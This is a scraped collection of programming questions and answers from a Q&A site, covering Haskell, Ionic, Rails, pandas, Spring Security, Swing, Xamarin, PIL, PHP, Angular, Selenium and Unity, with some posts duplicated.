```<code>rotateLeft 3 [1,2,3,4,5,6,7,8]
-- split the list
([1,2,3], [4,5,6,7,8])
-- swap the pieces
([4,5,6,7,8], [1,2,3])
-- Append
[4,5,6,7,8,1,2,3]
</code>```

There's one tricky bit left: what if I rotate a list by a number greater than its length? I'll let you give that a go yourself.

Body:
This is my function:

rotatebyone :: [Int] -> [Int]
rotatebyone [] = []
rotatebyone (x:xs) = ((tail (x:xs)) ++ (take 1 (x:xs)))

rotatebyn :: Int -> [Int] -> [Int]
rotatebyn n [] = []
rotatebyn 1 (x:xs) = rotatebyone (x:xs)
rotatebyn 2 (x:xs) = (rotatebyone (rotatebyone (x:xs)))

I want my function to repeat itself for n-times. I guess you do this with guardians or the "while" operator, but I don't know quite how. The goal is to rotate elements of a integer-list n-times.

This was my failed approach:

rota :: Int -> [Int] -> [Int]
rota n (x:xs) = rotatebyone (x:xs)
                where
                rota n
                    | n > 1 = rota (n - 1)
                    | otherwise = rotatebyone (x:xs)

Body:
You shouldn't rotate multiple places by rotating once and doing that repeatedly. Let's look at a slightly cleaner version of your single rotation to see why:

rotateLeft1 :: [a] -> [a]
rotateLeft1 [] = []
rotateLeft1 (x:xs) = xs ++ [x]

The problem is that p ++ q takes time linear in the length of p. You're doing that once for each rotation step, which wastes a lot of time. Let's look at it differently, with an example.

rotateLeft 3 [1,2,3,4,5,6,7,8]
-- split the list
([1,2,3], [4,5,6,7,8])
-- swap the pieces
([4,5,6,7,8], [1,2,3])
-- Append
[4,5,6,7,8,1,2,3]

There's one tricky bit left: what if I rotate a list by a number greater than its length? I'll let you give that a go yourself.


问:
token not being sent in pre-flight request Ionic2
I am working on an app in Ionic 2 using DRF as API service. For authentication purpose I am using JWT. I am sending auth token with each request as Authorization: jwt [token]. In Postman, API is working fine.

Now when I am testing it in browser it is not working and I figured out that it is probably not working because the JWT auth token is not being sent in the OPTIONS request as a pre-flight. So how do I tackle this problem.

答:
In the Ionic latest versions if you are using ionic serve commnad then  you must have to use Proxies to prevent Preflight and CORS Issues,

First add API path and URL in ionic.config.json file like

```<code>{
  "name": "APP-NAME",
  "app_id": "",
  "proxies": [
    {
      "path": "/api",
      "proxyUrl": "http://example.com/api"
    }
  ]
}
</code>```

Now, while calling your API from http use the /api URL instead of the http://example.com/api like,

```<code>....
    this.http.post('/api', data, {headers:headers}).map(res=>res.json()).subscribe(data=>{
      console.log(data)
    }, err=>{
      console.log("Error!:", err.json());
    });
....
</code>```

After making the above changes you must rerun command ionic serve.

Still, if you are getting issues then refer Handling CORS Issues In Ionic and https://ionicframework.com/docs/cli/configuring.html

Body:
In the Ionic latest versions if you are using ionic serve commnad then  you must have to use Proxies to prevent Preflight and CORS Issues,

First add API path and URL in ionic.config.json file like

{
  "name": "APP-NAME",
  "app_id": "",
  "proxies": [
    {
      "path": "/api",
      "proxyUrl": "http://example.com/api"
    }
  ]
}

Now, while calling your API from http use the /api URL instead of the http://example.com/api like,

....
    this.http.post('/api', data, {headers:headers}).map(res=>res.json()).subscribe(data=>{
      console.log(data)
    }, err=>{
      console.log("Error!:", err.json());
    });
....

After making the above changes you must rerun command ionic serve.

Still, if you are getting issues then refer Handling CORS Issues In Ionic and https://ionicframework.com/docs/cli/configuring.html


问:
rails How to pass params fro new to create block
I am working on a project where I want to pass :repairshop_id params to new_user_review. I am doing this by using:

```<code><%= link_to 'Add A Review', new_user_review_path(@user, :repairshop_id => @repairshop.id), class: "btn btn-danger btn-xs", style: "border: #e20049" %>
</code>```

Each review is for a user but either on his repairshop or all his listings.

In the controller for reviews, my before action should set the @parent which is either the repairshop or listing depending upon where I call the new review from (A show listing page or a show repairshop page).

On clicking the new review button the url shows: http://localhost:3000/users/2/reviews/new?repairshop_id=3

which means I do have the repairshop_id available.

But when I trying to set the params in the controller its evaluating to nil class.

Controller Code:

```<code>class ReviewsController < InheritedResources::Base

    before_action :authenticate_user!, only: [:new, :create, :destroy, :update]

    before_action :set_parent, only:  [:new, :create]
    before_action :set_child_and_parent, only:  [:destroy, :update, :update, :edit]

    def new
        @review = Review.new
    end

    def edit

    end

    def create
        @review = Review.new(review_params)
        @review.user_id = current_user.id
        @review.owner_id = @owner.id

        p "My parent is #{@parent}"

        respond_to do |format|
            if @review.save
                format.html { redirect_to @parent, notice: 'Review was successfully created.' }
                format.json { render :show, status: :created, location:@parent }
            else
                format.html { render :new }
                format.json { render json: @review.errors, status: :unprocessable_entity }
            end
        end

    end

    def destroy

        @review.destroy
        respond_to do |format|
            format.html { redirect_to @parent, notice: 'Review  was successfully destroyed.' }
            format.json { head :no_content }
        end

    end

    def update
        respond_to do |format|
            if @review.update(review_params)
                format.html { redirect_to @parent, notice: 'Review was updated.' }
                format.json { render :show, status: :ok, location: @parent}
            else
                format.html { render :edit }
                format.json { render json: @review.errors, status: :unprocessable_entity }
            end
        end
    end

    private

    def review_params
      params.require(:review).permit(:comment, :rating, :repairshop_id)
    end

    def set_child_and_parent
        @review = Review.find_by_id(params[:id])
        if params[:repairshop_id]
            @parent =  Repairshop.find_by_id(params[:repairshop_id])
        end

        if params[:listing_id]
            @parent = Listing.find_by_id(params[:listing_id])
        end

        @owner = User.find_by_id(@parent.user_id)
    end

    def set_parent
        if params[:repairshop_id]
            @parent =  Repairshop.find_by_id(params[:repairshop_id] )
        end

        if params[:listing_id]
            @parent = Listing.find_by_id(params[:listing_id] )
        end

        @owner = User.find_by_id(params[:user_id])
    end

end
</code>```

If I set parent by directly giving repairshop_id, everything works fine. But somehow, this repairshop_id is not being passed to the controller set_parent action.

How can I pass a variable from a show page to an entirely new controller action.

I want to redirect the users to the listing/repairshops show page after review creation, from which they clicked on the review button and so trying to use that @parent params

update: The error I am getting is 500 Internal Server, can not redirect to nil (which is @parent here):

My review form code:

```<code><%= bootstrap_form_for [@owner, @review] do |f| %>
  <% if @review.errors.any? %>
    <div id="error_explanation">
      <h2><%= pluralize(@review.errors.count, "error") %> prohibited this review from being saved:</h2>

      <ul>
      <% @review.errors.full_messages.each do |message| %>
        <li><%= message %></li>
      <% end %>
      </ul>
    </div>
  <% end %>

  <%= f.select :rating, [1,2,3,4,5], :label => "CHOOSE YOUR RATING (1 is poor, 5 is great)" %>
  <%= f.text_area :comment, :label => "YOUR COMMENTS" %>

  <%= f.submit "SUBMIT", class: "btn btn-danger" %>

<% end %>
</code>```

updated pic:

答:
What solved my problem was to use session params.
A session is just a place to store data during one request that you can read during later requests.

I decided to use session hash to store the resource id params I get from the new link in the resource it was called from and then use the session hash to retrieve the parent to redirect to after a review has been created. Also, I don't need to use hidden fields for this to work.

```<code>class ReviewsController < InheritedResources::Base

    before_action :authenticate_user!, only: [:new, :create, :destroy, :update]
    before_action :set_child_and_parent, only:  [:destroy, :update, :edit]

    def new
        @review = Review.new
        session[:parent_id] = params[:parent_id]
        session[:parent_type] = params[:parent_type]
        @parent = get_parent(params[:parent_type], params[:parent_id])
        @owner = User.find_by_id(@parent.user_id)
    end

    def create
        @review = Review.new(review_params)
        @review.user_id = current_user.id
        @parent = get_parent(session[:parent_type], session[:parent_id])
        @owner = User.find_by_id(@parent.user_id)
        @review.owner_id = @owner.id

        respond_to do |format|
            if @review.save
                format.html { redirect_to @parent, notice: 'Review was successfully created.' }
                format.json { render :show, status: :created, location:@review }
            else
                format.html { render :new }
                format.json { render json: @review.errors, status: :unprocessable_entity }
            end
        end
    end

private

    def review_params
        params.require(:review).permit(:comment, :rating)
    end

    def set_child_and_parent
        @review = Review.find_by_id(params[:id])
    end

    def get_parent(parent_type, parent_id)
        if parent_type == "repairshop"
            parent = Repairshop.find_by_id(parent_id.to_i)
        elsif parent_type == "listing"
            parent = Listing.find_by_id(parent_id.to_i)
        else
            parent = root_path
        end

        return parent
    end

end
</code>```

Body:
I am working on a project where I want to pass :repairshop_id params to new_user_review. I am doing this by using:

<%= link_to 'Add A Review', new_user_review_path(@user, :repairshop_id => @repairshop.id), class: "btn btn-danger btn-xs", style: "border: #e20049" %>

Each review is for a user but either on his repairshop or all his listings.

In the controller for reviews, my before action should set the @parent which is either the repairshop or listing depending upon where I call the new review from (A show listing page or a show repairshop page).

On clicking the new review button the url shows: http://localhost:3000/users/2/reviews/new?repairshop_id=3

which means I do have the repairshop_id available.

But when I trying to set the params in the controller its evaluating to nil class.

Controller Code:

class ReviewsController < InheritedResources::Base

    before_action :authenticate_user!, only: [:new, :create, :destroy, :update]

    before_action :set_parent, only:  [:new, :create]
    before_action :set_child_and_parent, only:  [:destroy, :update, :update, :edit]

    def new
        @review = Review.new
    end

    def edit

    end

    def create
        @review = Review.new(review_params)
        @review.user_id = current_user.id
        @review.owner_id = @owner.id

        p "My parent is #{@parent}"

        respond_to do |format|
            if @review.save
                format.html { redirect_to @parent, notice: 'Review was successfully created.' }
                format.json { render :show, status: :created, location:@parent }
            else
                format.html { render :new }
                format.json { render json: @review.errors, status: :unprocessable_entity }
            end
        end

    end

    def destroy

        @review.destroy
        respond_to do |format|
            format.html { redirect_to @parent, notice: 'Review  was successfully destroyed.' }
            format.json { head :no_content }
        end

    end

    def update
        respond_to do |format|
            if @review.update(review_params)
                format.html { redirect_to @parent, notice: 'Review was updated.' }
                format.json { render :show, status: :ok, location: @parent}
            else
                format.html { render :edit }
                format.json { render json: @review.errors, status: :unprocessable_entity }
            end
        end
    end

    private

    def review_params
      params.require(:review).permit(:comment, :rating, :repairshop_id)
    end

    def set_child_and_parent
        @review = Review.find_by_id(params[:id])
        if params[:repairshop_id]
            @parent =  Repairshop.find_by_id(params[:repairshop_id])
        end

        if params[:listing_id]
            @parent = Listing.find_by_id(params[:listing_id])
        end

        @owner = User.find_by_id(@parent.user_id)
    end

    def set_parent
        if params[:repairshop_id]
            @parent =  Repairshop.find_by_id(params[:repairshop_id] )
        end

        if params[:listing_id]
            @parent = Listing.find_by_id(params[:listing_id] )
        end

        @owner = User.find_by_id(params[:user_id])
    end

end

If I set parent by directly giving repairshop_id, everything works fine. But somehow, this repairshop_id is not being passed to the controller set_parent action.

How can I pass a variable from a show page to an entirely new controller action.

I want to redirect the users to the listing/repairshops show page after review creation, from which they clicked on the review button and so trying to use that @parent params

update: The error I am getting is 500 Internal Server, can not redirect to nil (which is @parent here):

My review form code:

<%= bootstrap_form_for [@owner, @review] do |f| %>
  <% if @review.errors.any? %>

<%= pluralize(@review.errors.count, "error") %> prohibited this review from being saved:

      <% @review.errors.full_messages.each do |message| %>

<%= message %>

      <% end %>

  <% end %>

  <%= f.select :rating, [1,2,3,4,5], :label => "CHOOSE YOUR RATING (1 is poor, 5 is great)" %>
  <%= f.text_area :comment, :label => "YOUR COMMENTS" %>

  <%= f.submit "SUBMIT", class: "btn btn-danger" %>

<% end %>

updated pic:

Body:
What solved my problem was to use session params.
A session is just a place to store data during one request that you can read during later requests.

I decided to use session hash to store the resource id params I get from the new link in the resource it was called from and then use the session hash to retrieve the parent to redirect to after a review has been created. Also, I don't need to use hidden fields for this to work.

class ReviewsController < InheritedResources::Base

    before_action :authenticate_user!, only: [:new, :create, :destroy, :update]
    before_action :set_child_and_parent, only:  [:destroy, :update, :edit]

    def new
        @review = Review.new
        session[:parent_id] = params[:parent_id]
        session[:parent_type] = params[:parent_type]
        @parent = get_parent(params[:parent_type], params[:parent_id])
        @owner = User.find_by_id(@parent.user_id)
    end

    def create
        @review = Review.new(review_params)
        @review.user_id = current_user.id
        @parent = get_parent(session[:parent_type], session[:parent_id])
        @owner = User.find_by_id(@parent.user_id)
        @review.owner_id = @owner.id

        respond_to do |format|
            if @review.save
                format.html { redirect_to @parent, notice: 'Review was successfully created.' }
                format.json { render :show, status: :created, location:@review }
            else
                format.html { render :new }
                format.json { render json: @review.errors, status: :unprocessable_entity }
            end
        end
    end

private

    def review_params
        params.require(:review).permit(:comment, :rating)
    end

    def set_child_and_parent
        @review = Review.find_by_id(params[:id])
    end

    def get_parent(parent_type, parent_id)
        if parent_type == "repairshop"
            parent = Repairshop.find_by_id(parent_id.to_i)
        elsif parent_type == "listing"
            parent = Listing.find_by_id(parent_id.to_i)
        else
            parent = root_path
        end

        return parent
    end

end


问:
calculate the mean of one row according it's label
calculate the mean of the values in one row according it's label:

```<code>A = [1,2,3,4,5,6,7,8,9,10]
B = [0,0,0,0,0,1,1,1,1, 1]

Result = pd.DataFrame(data=[A, B])
</code>```

I want the output is: 0->3; 1-> 7.8

pandas has the groupby function, but I don't know how to implement this. Thanks

答:
This is simple groupby problem ...

```<code>Result=Result.T
Result.groupby(Result[1])[0].mean()
Out[372]:
1
0    3
1    8
Name: 0, dtype: int64
</code>```

Body:
calculate the mean of the values in one row according it's label:

A = [1,2,3,4,5,6,7,8,9,10]
B = [0,0,0,0,0,1,1,1,1, 1]

Result = pd.DataFrame(data=[A, B])

I want the output is: 0->3; 1-> 7.8

pandas has the groupby function, but I don't know how to implement this. Thanks

Body:
This is simple groupby problem ...

Result=Result.T
Result.groupby(Result[1])[0].mean()
Out[372]:
1
0    3
1    8
Name: 0, dtype: int64


问:
Unique URL routing through KONG
Right now I have the following implementation working with kong.
What I have working now :

I'm able to curl through the host where kong resides and have it forward the api request to the appropriate api host depending on what the host header contains. The results are correctly returned to me as well.

What I want to be able to do instead is curl using the api host address and have it go through kong. How would I approach this? I'm not very familiar with api frameworks or patterns and would appreciate some direction.

What I would like to happen:

答:
But by doing that you are going to loose the benefit of kong. According to me we are adding kong to have a controlled access to the APIs. If you call apis directly, where they are hosted, then kong will not be able to provide the benefits.

For your problem, where you don't want to pass the host in the header you can add host to the kong when you are adding the API to kong. With that whenever request lands for api_x_command it will go to the defined host in the kong environment.

So your URLs will be like this

https://kongurl/api_1_command - will go to https://api_1_host/api_1_command
and
https://kongurl/api_2_command - will go to https://api_2_host/api_2_command

Check the url, it will always point to Kong and command will be deciding factor, with host setting done in Kong.

Title: Unique URL routing through KONG


问:
Spring Security - multiple configurations - add LogoutHandler
I have a spring-boot application using spring-security. The security configuration is split into multiple instances of WebSecurityConfigurerAdapter.

I have one where I configure logout in general:

```<code>@Override
protected void configure(HttpSecurity http) throws Exception {

    // configure logout
    http
            .logout()
            .logoutUrl("/logout")
            .invalidateHttpSession(true)
            .addLogoutHandler((request, response, authentication) -> {
                System.out.println("logged out 1!");
            })
            .permitAll();

    // ... more security configuration, e.g. login, CSRF, rememberme
}
</code>```

And there is another WebSecurityConfigurerAdapter, where I want to do almost nothing, except adding another LogoutHandler:

```<code>@Override
protected void configure(HttpSecurity http) throws Exception {

    // configure logout
    http
            .logout()
            .logoutUrl("/logout")
            .addLogoutHandler((request, response, authentication) -> {
                System.out.println("logged out 2!");
            });
}
</code>```

Both configure() methods are called. However, if I do log out, only the first LogoutHandler is called. Changing the @Order of both configurations does not change the result.

What is missing in my configuration?

答:
The keypoint is you should create separated instance of AuthenticationManger.

Here is an sample for multiples WebSecurityAdapter

Body:
I have a spring-boot application using spring-security. The security configuration is split into multiple instances of WebSecurityConfigurerAdapter.

I have one where I configure logout in general:

@Override
protected void configure(HttpSecurity http) throws Exception {

    // configure logout
    http
            .logout()
            .logoutUrl("/logout")
            .invalidateHttpSession(true)
            .addLogoutHandler((request, response, authentication) -> {
                System.out.println("logged out 1!");
            })
            .permitAll();

    // ... more security configuration, e.g. login, CSRF, rememberme
}

And there is another WebSecurityConfigurerAdapter, where I want to do almost nothing, except adding another LogoutHandler:

@Override
protected void configure(HttpSecurity http) throws Exception {

    // configure logout
    http
            .logout()
            .logoutUrl("/logout")
            .addLogoutHandler((request, response, authentication) -> {
                System.out.println("logged out 2!");
            });
}

Both configure() methods are called. However, if I do log out, only the first LogoutHandler is called. Changing the @Order of both configurations does not change the result.

What is missing in my configuration?


问:
Java Child Window: Netbeans
I have two JFrames (mainFrame.java & child.java) designed in NetBeans editor. I want to call second JFrame from the first frame as a child window. How can I call it?

答:
If I understand correctly you would like to have a main Window with child/children window inside of it. If this is so, check out the below code.

Screen Shot:

```<code>import javax.swing.JDesktopPane;
import javax.swing.JFrame;
import javax.swing.SwingUtilities;
/**
 * Sample demonstrates using JInternalFrame as a child window of a main
 * JFrame window  TicTacToe class extends JInternalFrame.
 * @author Kirk
 *
*/
public class BoardBuilder extends JFrame {

    private TicTacToe board;
    JDesktopPane desktopPane = new JDesktopPane();

    public BoardBuilder() {
        SwingUtilities.invokeLater(new Runnable() {
           public void run() {
               board = new TicTacToe("TicToc Toe", true);
               board.setSize(250, 250);
               board.setClosable(true);
               board.setIconifiable(true);
               board.setDefaultCloseOperation(TicTacToe.DISPOSE_ON_CLOSE);
               if (!board.isVisible())
                   board.setVisible(true);

               desktopPane.add(board);
               add(desktopPane);
           }
       });

   }

   public static void main(String[] args) {
       BoardBuilder builderBoard = new BoardBuilder();
       builderBoard.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
       builderBoard.setSize(640, 480);
       builderBoard.setVisible(true);

    }

   }
</code>```

to call the child window  place this code block in a button Click event Listener

```<code>SwingUtilities.invokeLater(new Runnable() {
               public void run() {
               board = new TicTacToe("TicToc Toe", true);
               board.setSize(250, 250);
               board.setClosable(true);
               board.setIconifiable(true);
               board.setDefaultCloseOperation(TicTacToe.DISPOSE_ON_CLOSE);
               if (!board.isVisible())
                   board.setVisible(true);

               desktopPane.add(board);
               add(desktopPane);
           }
       });
</code>```

For future info check out this link docs.oracle-InternalFrames

Title: Java Child Window: Netbeans

Body:
If I understand correctly you would like to have a main Window with child/children window inside of it. If this is so, check out the below code.

Screen Shot:

import javax.swing.JDesktopPane;
import javax.swing.JFrame;
import javax.swing.SwingUtilities;
/**
 * Sample demonstrates using JInternalFrame as a child window of a main
 * JFrame window  TicTacToe class extends JInternalFrame.
 * @author Kirk
 *
*/
public class BoardBuilder extends JFrame {

    private TicTacToe board;
    JDesktopPane desktopPane = new JDesktopPane();

    public BoardBuilder() {
        SwingUtilities.invokeLater(new Runnable() {
           public void run() {
               board = new TicTacToe("TicToc Toe", true);
               board.setSize(250, 250);
               board.setClosable(true);
               board.setIconifiable(true);
               board.setDefaultCloseOperation(TicTacToe.DISPOSE_ON_CLOSE);
               if (!board.isVisible())
                   board.setVisible(true);

               desktopPane.add(board);
               add(desktopPane);
           }
       });

   }

   public static void main(String[] args) {
       BoardBuilder builderBoard = new BoardBuilder();
       builderBoard.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
       builderBoard.setSize(640, 480);
       builderBoard.setVisible(true);

    }

   }

to call the child window  place this code block in a button Click event Listener

SwingUtilities.invokeLater(new Runnable() {
               public void run() {
               board = new TicTacToe("TicToc Toe", true);
               board.setSize(250, 250);
               board.setClosable(true);
               board.setIconifiable(true);
               board.setDefaultCloseOperation(TicTacToe.DISPOSE_ON_CLOSE);
               if (!board.isVisible())
                   board.setVisible(true);

               desktopPane.add(board);
               add(desktopPane);
           }
       });

For future info check out this link docs.oracle-InternalFrames


问:
How to add Toolbar on right side in Xamarin forms?
How do I add a hamburger menu on the right side navigation bar in Xamarin forms?

答:
Add this to your xaml</p>

```<code><ContentPage.ToolbarItems>
    <ToolbarItem Order="Secondary" Priority="0" Text="Item 1" Command="{Binding Item1_Command}"/>
    <ToolbarItem Order="Secondary" Priority="0" Text="Item 2" Command="{Binding Item2_Command}"/>
</ContentPage.ToolbarItems>
</code>```

Body:
Add this to your xaml

<ContentPage.ToolbarItems>
    <ToolbarItem Order="Secondary" Priority="0" Text="Item 1" Command="{Binding Item1_Command}"/>
    <ToolbarItem Order="Secondary" Priority="0" Text="Item 2" Command="{Binding Item2_Command}"/>
</ContentPage.ToolbarItems>


问:
Python - How to make turtle go to (x,y) position without having it move across the screen?
I want to know how to make Turtle go to an (x, y) coordinate without having it move across the screen. I tried the .goto() and .setposition() methods, but they both make the turtle move across the screen. How do I do this?

答:
You can use pen up, then set the turtle invisible, then use goto to move the turtle to your position.</p>

```<code>turtle.up()
turtle.ht()
turtle.goto(x, y)

# reshow the turtle
turtle.st()
turtle.down()
</code>```

Body:
You can use pen up, then set the turtle invisible, then use goto to move the turtle to your position.

turtle.up()
turtle.ht()
turtle.goto(x, y)

# reshow the turtle
turtle.st()
turtle.down()


问:
Interface to a webservice?
I have two webservices that have exactly the same methods and signatures but point at different servers (specifically the Virtual Earth production and staging environments). I wish to switch between using the production and staging services on the basis of a config setting and don't want to repeat myself and replicate each method where I call one of the services.

So what I need in effect is to create an interface which both of the services can implement and program against that. But I don't know if this is advisable or even possible.

Or do I just need to reference one of the services and switch the url property depending on whether I want to use the production or staging environment?

答:
I just put my interfaces to wcf services into a separate assembly, and reference this assembly from the client as well as from the server.

I use this central interface for the wcf service, for mocking the wcf service, and for all clients, and can swap the connections out.

I guess you use SvcUtil to create your client classes? I don't. I have created the interfaces once, and use them to create a service using a ChannelFactory with this servicecontract.

Maybe putting your servicecontract into a separate assembly and use a ChannelFactory to create the proxy would help you?

Of course if just the service URL is changing, you can just change it in the config file.

OwnerDisplayName: codeburns

Title: Interface to a webservice?

OwnerDisplayName: Sam


问:
Android Button press strength
Is there an example about how to measure the strength of pressing the screen? I know there is a command, i just cant find it.</p>

答:
The method is android.view.MotionEvent.getPressure().

You can also fetch the size of the touch with MotionEvent.getSize().
Beware though, most models have different screens and will behave differently.

EDIT: It also doesn't seem to work with WebView.

Title: Android Button press strength


问:
OSError: cannot identify image file <_io.BytesIO object at 0x00000222C8A21360>
```<code>import io
from io import BytesIO
from PIL import ImageGrab, Image

im = ImageGrab.grab()
image_bytes = im.tobytes()

img = Image.open(BytesIO(image_bytes))
img.show()
</code>```

In the above mentioned code I am trying to get the image from ImageGrab. I want to convert it to bytes and want to send it to the server through sockets. But before that I want to show the image. I think there is something missing for image format(png or jpg) in this code. But I am not getting any clue about what should I do with this code to set the particular image format either png or jpg

答: I have used Image.Save() method instead. In that it saves to the disk first and then I copy from there and convert it to bytes and send it to the socket.</p>

Body:
import io
from io import BytesIO
from PIL import ImageGrab, Image

im = ImageGrab.grab()
image_bytes = im.tobytes()

img = Image.open(BytesIO(image_bytes))
img.show()

In the above mentioned code I am trying to get the image from ImageGrab. I want to convert it to bytes and want to send it to the server through sockets. But before that I want to show the image. I think there is something missing for image format(png or jpg) in this code. But I am not getting any clue about what should I do with this code to set the particular image format either png or jpg


问:
AND OR syntax inside strtotime/array
i develop a program that you cannot see the data if it is older or younger than 1 days, so you can only see the TODAY data, TOMORROW data, and YESTERDAY data.

i tried using or/and syntax inside my array and strtotime but it's not working.

I tried this:

```<code>   $date = date('Y-m-d');
    $date1 = date('Y-m-d',strtotime("-1 days"));
    $date2 = date('Y-m-d',strtotime("+1 days"));

    $query = $this->db->get_where('info',array(dates => $date2 or $date or $date1)

);
</code>```

I also tried this:

```<code>$date = date('Y-m-d');
$date1 = date('Y-m-d',strtotime("-1 days"));
$date2 = date('Y-m-d',strtotime("+1 days"));
$datefix = $date or $date1 or $date2;

$query = $this->db->get_where('info',array(dates => $datefix));
</code>```

both doesnot work. I searching for how to use OR and AND syntax inside ARRAY or STRTOTIME and i couldnot find it. Can anyone help me with this? Little help would be appreciated!

答:
First of all you have to check the syntax of the query. because it's totally wrong. Use BETWEEN

```<code>SELECT *
FROM `TABLENAME`
WHERE (dates BETWEEN '$date1' AND '$date2')
</code>```

I hope it helps!!!!

Title: AND OR syntax inside strtotime/array

Body:
i develop a program that you cannot see the data if it is older or younger than 1 days, so you can only see the TODAY data, TOMORROW data, and YESTERDAY data.

i tried using or/and syntax inside my array and strtotime but it's not working.

I tried this:

   $date = date('Y-m-d');
    $date1 = date('Y-m-d',strtotime("-1 days"));
    $date2 = date('Y-m-d',strtotime("+1 days"));

    $query = $this->db->get_where('info',array(dates => $date2 or $date or $date1)

);

I also tried this:

$date = date('Y-m-d');
$date1 = date('Y-m-d',strtotime("-1 days"));
$date2 = date('Y-m-d',strtotime("+1 days"));
$datefix = $date or $date1 or $date2;

$query = $this->db->get_where('info',array(dates => $datefix));

both doesnot work. I searching for how to use OR and AND syntax inside ARRAY or STRTOTIME and i couldnot find it. Can anyone help me with this? Little help would be appreciated!

Body:
First of all you have to check the syntax of the query. because it's totally wrong. Use BETWEEN

SELECT *
FROM `TABLENAME`
WHERE (dates BETWEEN '$date1' AND '$date2')

I hope it helps!!!!


问:
How do angular 4 animation transition the routeroutlet properly?
Here is what i trying to achieve, i want an transition that slide to left and right when change my page, but my code it's not working, the event already triggered then when i scroll my page it trigger so many event (i test it with console.log)

here is how my code looks like

app.component.html :

```<code><main [@routerTransition]="getRouterOutletState(o)">
  <router-outlet #o="outlet"></router-outlet>
</main>
</code>```

and here is my app.component.ts :

```<code>animations: [
    trigger('routerTransition', [
      state('in', style({ transform: 'translateX(0)' })),
      transition('out => in', [
        style({ transform: 'translateX(-100%)' }),
        animate(400)
      ]),
      transition('in => out', [
        animate(400, style({ transform: 'translateX(100%)' }))
      ])
    ]),
  ]

})

export class AppComponent {
    fadePageInOut: string = 'in';

  getRouterOutletState(outlet) {
    console.log(outlet + " event triggered outlet");
    this.fadePageInOut = (this.fadePageInOut === 'in' ? 'out' : 'in');
  }

}
</code>```

why it's not working? what i missed here? and console.log of the result of my code is like this :

the event increase when i scroll my page up and down, i must do something wrong for the event triggering and still the transition wont work

答:
The main issue is in your animation controller: you should bind it to property with animation state, not to method, like this:

```<code><main [@routerTransition]="fadePageInOut">
</code>```

May be there are some more issues, I can't really say without live example, but I think this change should do the trick.

And the animation will fire only when you change the state from "out" to "in" and vise versa, so it seems like you also should change this:

```<code>transition('out => in', [
</code>```

to this:

```<code>transition('* => in', [
</code>```

Body:
Here is what i trying to achieve, i want an transition that slide to left and right when change my page, but my code it's not working, the event already triggered then when i scroll my page it trigger so many event (i test it with console.log)

here is how my code looks like

app.component.html :

  <router-outlet #o="outlet"></router-outlet>

and here is my app.component.ts :

animations: [
    trigger('routerTransition', [
      state('in', style({ transform: 'translateX(0)' })),
      transition('out => in', [
        style({ transform: 'translateX(-100%)' }),
        animate(400)
      ]),
      transition('in => out', [
        animate(400, style({ transform: 'translateX(100%)' }))
      ])
    ]),
  ]

})

export class AppComponent {
    fadePageInOut: string = 'in';

  getRouterOutletState(outlet) {
    console.log(outlet + " event triggered outlet");
    this.fadePageInOut = (this.fadePageInOut === 'in' ? 'out' : 'in');
  }

}

why it's not working? what i missed here? and console.log of the result of my code is like this :

the event increase when i scroll my page up and down, i must do something wrong for the event triggering and still the transition wont work

Body:
The main issue is in your animation controller: you should bind it to property with animation state, not to method, like this:

<main [@routerTransition]="fadePageInOut">

May be there are some more issues, I can't really say without live example, but I think this change should do the trick.

And the animation will fire only when you change the state from "out" to "in" and vise versa, so it seems like you also should change this:

transition('out => in', [

to this:

transition('* => in', [


问:
Chrome webdriver send keys does not send '3'
For some reason, I am unable to write character '3' into the input element on the page.

This code:

```<code>    chrome_options = Options()
    chrome_options.add_argument('--dns-prefetch-disable')
    chrome_options.add_argument('--no-proxy-server')
    chromeDriverPath = self.getChromeDriverPath()
    os.environ["webdriver.chrome.driver"] = chromeDriverPath
    self.driver = webdriver.Chrome(chromeDriverPath, chrome_options=chrome_options)

    self.driver.get(self.loginUrl)
    login = self.driver.find_element_by_id('login_credit')
    login.send_keys("12345")
</code>```

results in "1245" being written in the login input...
Can someone help please?
I use python 2.7, the latest chrome and the latest chromedriver

EDIT:

```<code>login.send_keys("3")

login.send_keys("\3")
</code>```

don't work either.

```<code>login.send_keys("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()")
</code>```

- only the "3" was missing in the string...

what worked was

```<code>login.send_keys(Keys.NUMPAD3)
</code>```

as Andersson suggested below, but this is not a solution.

I tried it in the google search box and I experienced the same behaviour.

答:
Strange issue, Try to pass string variable in send_keys and try may be it works for you

```<code>my_str = "12345"
login = self.driver.find_element_by_id('login_credit')
login.send_keys(my_str)
</code>```

Body:
For some reason, I am unable to write character '3' into the input element on the page.

This code:

    chrome_options = Options()
    chrome_options.add_argument('--dns-prefetch-disable')
    chrome_options.add_argument('--no-proxy-server')
    chromeDriverPath = self.getChromeDriverPath()
    os.environ["webdriver.chrome.driver"] = chromeDriverPath
    self.driver = webdriver.Chrome(chromeDriverPath, chrome_options=chrome_options)

    self.driver.get(self.loginUrl)
    login = self.driver.find_element_by_id('login_credit')
    login.send_keys("12345")

results in "1245" being written in the login input...
Can someone help please?
I use python 2.7, the latest chrome and the latest chromedriver

EDIT:

login.send_keys("3")

login.send_keys("\3")

don't work either.

login.send_keys("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()")

- only the "3" was missing in the string...

what worked was

login.send_keys(Keys.NUMPAD3)

as Andersson suggested below, but this is not a solution.

I tried it in the google search box and I experienced the same behaviour.

Body:
Strange issue, Try to pass string variable in send_keys and try may be it works for you

my_str = "12345"
login = self.driver.find_element_by_id('login_credit')
login.send_keys(my_str)


问:
Unity object only moving in one direction in unity play preview
Hi i am trying to learn unity and i have came through a code in which i need the object to move up and down when it reaches the limit of any side and keep it repeating. but it's just going up axis only can anyone tell me what's wrong here?

```<code>using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class shooter_movement : MonoBehaviour {

public float shootspeed = 2;
public bool turn = false;

// Use this for initialization
void Start () {

}

// Update is called once per frame
void Update () {
    if (!turn)
    {
        transform.Translate (0, 2 * Time.deltaTime, 0);
    }
    else
    {
        transform.Translate (0, -2 * Time.deltaTime, 0);
    }
}

void OncollisionEnter2D (Collision2D Collider){

    Debug.Log ("Collision Works");
    if (GetComponent<Collider>().gameObject.tag == "wall") {

        if (turn) {

            turn = false;
        }
        else {

            turn = true;
        }
    }
}

}
</code>```

答:
First off, you pick the wrong gameObject, you pick your own object instead of the one that touches.

GetComponent<>() will take the gameObject that your script attached to.
use you collider parameter instead, it's the object that touches you.

